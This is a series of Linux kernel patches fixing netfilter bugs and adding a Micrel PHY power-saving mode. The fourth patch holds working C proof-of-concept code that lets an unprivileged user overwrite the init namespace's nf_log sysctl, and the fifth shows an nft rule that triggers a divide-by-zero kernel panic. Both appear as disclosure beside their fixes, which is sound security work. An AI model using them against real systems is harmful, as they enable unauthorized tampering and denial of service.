From 5119e4381a90fabd3442bde02707cbd9e5d7367a Mon Sep 17 00:00:00 2001 From: Aaron Conole Date: Wed, 28 Sep 2016 11:35:14 -0400 Subject: [PATCH 1/7] netfilter: Fix potential null pointer dereference It's possible for nf_hook_entry_head to return NULL. If two nf_unregister_net_hook calls happen simultaneously with a single hook entry in the list, both will enter the nf_hook_mutex critical section. The first will successfully delete the head, but the second will see this NULL pointer and attempt to dereference. This fix ensures that no null pointer dereference could occur when such a condition happens. Fixes: e3b37f11e6e4 ("netfilter: replace list_head with single linked list") Signed-off-by: Aaron Conole Signed-off-by: Pablo Neira Ayuso --- net/netfilter/core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/net/netfilter/core.c b/net/netfilter/core.c index fa6715db4581..e3f68a786afe 100644 --- a/net/netfilter/core.c +++ b/net/netfilter/core.c @@ -160,7 +160,7 @@ void nf_unregister_net_hook(struct net *net, const struct nf_hook_ops *reg) mutex_lock(&nf_hook_mutex); hooks_entry = nf_hook_entry_head(net, reg); - if (hooks_entry->orig_ops == reg) { + if (hooks_entry && hooks_entry->orig_ops == reg) { nf_set_hooks_head(net, reg, nf_entry_dereference(hooks_entry->next)); goto unlock; From 7816ec564ec40ae20bb7925f733a181cad0cc491 Mon Sep 17 00:00:00 2001 From: Aaron Conole Date: Wed, 28 Sep 2016 11:35:15 -0400 Subject: [PATCH 2/7] netfilter: accommodate different kconfig in nf_set_hooks_head When CONFIG_NETFILTER_INGRESS is unset (or no), we need to handle the request for registration properly by dropping the hook. This releases the entry during the set. Fixes: e3b37f11e6e4 ("netfilter: replace list_head with single linked list") Signed-off-by: Aaron Conole Signed-off-by: Pablo Neira Ayuso --- net/netfilter/core.c | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) diff --git a/net/netfilter/core.c b/net/netfilter/core.c index e3f68a786afe..c9d90eb64046 100644 --- a/net/netfilter/core.c +++ b/net/netfilter/core.c @@ -90,10 +90,12 @@ static void nf_set_hooks_head(struct net *net, const struct nf_hook_ops *reg, { switch (reg->pf) { case NFPROTO_NETDEV: +#ifdef CONFIG_NETFILTER_INGRESS /* We already checked in nf_register_net_hook() that this is * used from ingress. */ rcu_assign_pointer(reg->dev->nf_hooks_ingress, entry); +#endif break; default: rcu_assign_pointer(net->nf.hooks[reg->pf][reg->hooknum], @@ -107,10 +109,15 @@ int nf_register_net_hook(struct net *net, const struct nf_hook_ops *reg) struct nf_hook_entry *hooks_entry; struct nf_hook_entry *entry; - if (reg->pf == NFPROTO_NETDEV && - (reg->hooknum != NF_NETDEV_INGRESS || - !reg->dev || dev_net(reg->dev) != net)) - return -EINVAL; + if (reg->pf == NFPROTO_NETDEV) { +#ifndef CONFIG_NETFILTER_INGRESS + if (reg->hooknum == NF_NETDEV_INGRESS) + return -EOPNOTSUPP; +#endif + if (reg->hooknum != NF_NETDEV_INGRESS || + !reg->dev || dev_net(reg->dev) != net) + return -EINVAL; + } entry = kmalloc(sizeof(*entry), GFP_KERNEL); if (!entry) From 1f827f5138292a6124430cdd37bcb68f30c05467 Mon Sep 17 00:00:00 2001 From: Vishwanath Pai Date: Thu, 29 Sep 2016 13:39:50 -0400 Subject: [PATCH 3/7] netfilter: xt_hashlimit: Fix link error in 32bit arch because of 64bit division MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Division of 64bit integers will cause linker error undefined reference to `__udivdi3'. Fix this by replacing divisions with div64_64 Fixes: 11d5f15723c9 ("netfilter: xt_hashlimit: Create revision 2 to ...") Signed-off-by: Vishwanath Pai Acked-by: Maciej Żenczykowski Signed-off-by: Pablo Neira Ayuso --- net/netfilter/xt_hashlimit.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/net/netfilter/xt_hashlimit.c b/net/netfilter/xt_hashlimit.c index 44a095ecc7b7..2fab0c65aa94 100644 --- a/net/netfilter/xt_hashlimit.c +++ b/net/netfilter/xt_hashlimit.c @@ -467,17 +467,18 @@ static u64 user2credits(u64 user, int revision) /* If multiplying would overflow... */ if (user > 0xFFFFFFFF / (HZ*CREDITS_PER_JIFFY_v1)) /* Divide first. */ - return (user / XT_HASHLIMIT_SCALE) *\ - HZ * CREDITS_PER_JIFFY_v1; + return div64_u64(user, XT_HASHLIMIT_SCALE) + * HZ * CREDITS_PER_JIFFY_v1; - return (user * HZ * CREDITS_PER_JIFFY_v1) \ - / XT_HASHLIMIT_SCALE; + return div64_u64(user * HZ * CREDITS_PER_JIFFY_v1, + XT_HASHLIMIT_SCALE); } else { if (user > 0xFFFFFFFFFFFFFFFF / (HZ*CREDITS_PER_JIFFY)) - return (user / XT_HASHLIMIT_SCALE_v2) *\ - HZ * CREDITS_PER_JIFFY; + return div64_u64(user, XT_HASHLIMIT_SCALE_v2) + * HZ * CREDITS_PER_JIFFY; - return (user * HZ * CREDITS_PER_JIFFY) / XT_HASHLIMIT_SCALE_v2; + return div64_u64(user * HZ * CREDITS_PER_JIFFY, + XT_HASHLIMIT_SCALE_v2); } } From dbb5918cb333dfeb8897f8e8d542661d2ff5b9a0 Mon Sep 17 00:00:00 2001 From: Jann Horn Date: Sun, 18 Sep 2016 21:40:55 +0200 Subject: [PATCH 4/7] netfilter: fix namespace handling in nf_log_proc_dostring nf_log_proc_dostring() used current's network namespace instead of the one corresponding to the sysctl file the write was performed on. Because the permission check happens at open time and the nf_log files in namespaces are accessible for the namespace owner, this can be abused by an unprivileged user to effectively write to the init namespace's nf_log sysctls. Stash the "struct net *" in extra2 - data and extra1 are already used. Repro code: #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include char child_stack[1000000]; uid_t outer_uid; gid_t outer_gid; int stolen_fd = -1; void writefile(char *path, char *buf) { int fd = open(path, O_WRONLY); if (fd == -1) err(1, "unable to open thing"); if (write(fd, buf, strlen(buf)) != strlen(buf)) err(1, "unable to write thing"); close(fd); } int child_fn(void *p_) { if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC, NULL)) err(1, "mount"); /* Yes, we need to set the maps for the net sysctls to recognize us * as namespace root. */ char buf[1000]; sprintf(buf, "0 %d 1\n", (int)outer_uid); writefile("/proc/1/uid_map", buf); writefile("/proc/1/setgroups", "deny"); sprintf(buf, "0 %d 1\n", (int)outer_gid); writefile("/proc/1/gid_map", buf); stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY); if (stolen_fd == -1) err(1, "open nf_log"); return 0; } int main(void) { outer_uid = getuid(); outer_gid = getgid(); int child = clone(child_fn, child_stack + sizeof(child_stack), CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID |CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL); if (child == -1) err(1, "clone"); int status; if (wait(&status) != child) err(1, "wait"); if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) errx(1, "child exit status bad"); char *data = "NONE"; if (write(stolen_fd, data, strlen(data)) != strlen(data)) err(1, "write"); return 0; } Repro: $ gcc -Wall -o attack attack.c -std=gnu99 $ cat /proc/sys/net/netfilter/nf_log/2 nf_log_ipv4 $ ./attack $ cat /proc/sys/net/netfilter/nf_log/2 NONE Because this looks like an issue with very low severity, I'm sending it to the public list directly. Signed-off-by: Jann Horn Signed-off-by: Pablo Neira Ayuso --- net/netfilter/nf_log.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/net/netfilter/nf_log.c b/net/netfilter/nf_log.c index 30a17d649a83..3dca90dc24ad 100644 --- a/net/netfilter/nf_log.c +++ b/net/netfilter/nf_log.c @@ -422,7 +422,7 @@ static int nf_log_proc_dostring(struct ctl_table *table, int write, char buf[NFLOGGER_NAME_LEN]; int r = 0; int tindex = (unsigned long)table->extra1; - struct net *net = current->nsproxy->net_ns; + struct net *net = table->extra2; if (write) { struct ctl_table tmp = *table; @@ -476,7 +476,6 @@ static int netfilter_log_sysctl_init(struct net *net) 3, "%d", i); nf_log_sysctl_table[i].procname = nf_log_sysctl_fnames[i]; - nf_log_sysctl_table[i].data = NULL; nf_log_sysctl_table[i].maxlen = NFLOGGER_NAME_LEN; nf_log_sysctl_table[i].mode = 0644; nf_log_sysctl_table[i].proc_handler = @@ -486,6 +485,9 @@ static int netfilter_log_sysctl_init(struct net *net) } } + for (i = NFPROTO_UNSPEC; i < NFPROTO_NUMPROTO; i++) + table[i].extra2 = net; + net->nf.nf_log_dir_header = register_net_sysctl(net, "net/netfilter/nf_log", table); From 2fa46c130193300f06e68727ae98ec9f6184cad4 Mon Sep 17 00:00:00 2001 From: Liping Zhang Date: Tue, 27 Sep 2016 20:49:19 +0800 Subject: [PATCH 5/7] netfilter: nft_limit: fix divided by zero panic After I input the following nftables rule, a panic happened on my system: # nft add rule filter OUTPUT limit rate 0xf00000000 bytes/second divide error: 0000 [#1] SMP [ ... ] RIP: 0010:[] [] nft_limit_pkt_bytes_eval+0x2e/0xa0 [nft_limit] Call Trace: [] nft_do_chain+0xfb/0x4e0 [nf_tables] [] ? nf_nat_setup_info+0x96/0x480 [nf_nat] [] ? ipt_do_table+0x327/0x610 [] ? __nf_nat_alloc_null_binding+0x57/0x80 [nf_nat] [] nft_ipv4_output+0xaf/0xd0 [nf_tables_ipv4] [] nf_iterate+0x62/0x80 [] nf_hook_slow+0x73/0xd0 [] __ip_local_out+0xcd/0xe0 [] ? ip_forward_options+0x1b0/0x1b0 [] ip_local_out+0x1c/0x40 This is because divisor is 64-bit, but we treat it as a 32-bit integer, then 0xf00000000 becomes zero, i.e. divisor becomes 0. Signed-off-by: Liping Zhang Signed-off-by: Pablo Neira Ayuso --- net/netfilter/nft_limit.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/net/netfilter/nft_limit.c b/net/netfilter/nft_limit.c index 070b98938e02..c6baf412236d 100644 --- a/net/netfilter/nft_limit.c +++ b/net/netfilter/nft_limit.c @@ -145,7 +145,7 @@ static int nft_limit_pkts_init(const struct nft_ctx *ctx, if (err < 0) return err; - priv->cost = div_u64(priv->limit.nsecs, priv->limit.rate); + priv->cost = div64_u64(priv->limit.nsecs, priv->limit.rate); return 0; } @@ -170,7 +170,7 @@ static void nft_limit_pkt_bytes_eval(const struct nft_expr *expr, const struct nft_pktinfo *pkt) { struct nft_limit *priv = nft_expr_priv(expr); - u64 cost = div_u64(priv->nsecs * pkt->skb->len, priv->rate); + u64 cost = div64_u64(priv->nsecs * pkt->skb->len, priv->rate); if (nft_limit_eval(priv, cost)) regs->verdict.code = NFT_BREAK; From a44c984f1ef16229cdfd92326ad10118b1940ff9 Mon Sep 17 00:00:00 2001 From: Stephen Rothwell Date: Tue, 13 Sep 2016 10:08:58 +1000 Subject: [PATCH 6/7] netfilter: merge fixup for "nf_tables_netdev: remove redundant ip_hdr assignment" Signed-off-by: Stephen Rothwell Acked-by: Pablo Neira Ayuso Signed-off-by: David S. Miller --- include/net/netfilter/nf_tables_ipv4.h | 1 - 1 file changed, 1 deletion(-) diff --git a/include/net/netfilter/nf_tables_ipv4.h b/include/net/netfilter/nf_tables_ipv4.h index 968f00b82fb5..25e33aee91e7 100644 --- a/include/net/netfilter/nf_tables_ipv4.h +++ b/include/net/netfilter/nf_tables_ipv4.h @@ -33,7 +33,6 @@ __nft_set_pktinfo_ipv4_validate(struct nft_pktinfo *pkt, if (!iph) return -1; - iph = ip_hdr(skb); if (iph->ihl < 5 || iph->version != 4) return -1; From af70c1f92d3567035d2f73f39079459d58c706dc Mon Sep 17 00:00:00 2001 From: Mike Looijmans Date: Tue, 4 Oct 2016 07:52:04 +0200 Subject: [PATCH 7/7] phy: micrel.c: Enable ksz9031 energy-detect power-down mode Set bit 0 in register 1C.23 to enable the EDPD feature of the KSZ9031 PHY. This reduces power consumption when the link is down. Signed-off-by: Mike Looijmans Reviewed-by: Andrew Lunn Reviewed-by: Florian Fainelli --- drivers/net/phy/micrel.c | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/drivers/net/phy/micrel.c b/drivers/net/phy/micrel.c index 885ac9cbab5a..081df68d2ce1 100644 --- a/drivers/net/phy/micrel.c +++ b/drivers/net/phy/micrel.c @@ -439,6 +439,10 @@ static int ksz9021_config_init(struct phy_device *phydev) #define MII_KSZ9031RN_TX_DATA_PAD_SKEW 6 #define MII_KSZ9031RN_CLK_PAD_SKEW 8 +/* MMD Address 0x1C */ +#define MII_KSZ9031RN_EDPD 0x23 +#define MII_KSZ9031RN_EDPD_ENABLE BIT(0) + static int ksz9031_extended_write(struct phy_device *phydev, u8 mode, u32 dev_addr, u32 regnum, u16 val) { @@ -510,6 +514,18 @@ static int ksz9031_center_flp_timing(struct phy_device *phydev) return genphy_restart_aneg(phydev); } +/* Enable energy-detect power-down mode */ +static int ksz9031_enable_edpd(struct phy_device *phydev) +{ + int reg; + + reg = ksz9031_extended_read(phydev, OP_DATA, 0x1C, MII_KSZ9031RN_EDPD); + if (reg < 0) + return reg; + return ksz9031_extended_write(phydev, OP_DATA, 0x1C, MII_KSZ9031RN_EDPD, + reg | MII_KSZ9031RN_EDPD_ENABLE); +} + static int ksz9031_config_init(struct phy_device *phydev) { const struct device *dev = &phydev->mdio.dev; @@ -525,6 +541,11 @@ static int ksz9031_config_init(struct phy_device *phydev) }; static const char *control_skews[2] = {"txen-skew-ps", "rxdv-skew-ps"}; const struct device *dev_walker; + int result; + + result = ksz9031_enable_edpd(phydev); + if (result < 0) + return result; /* The Micrel driver has a deprecated option to place phy OF * properties in the MAC node. Walk up the tree of devices to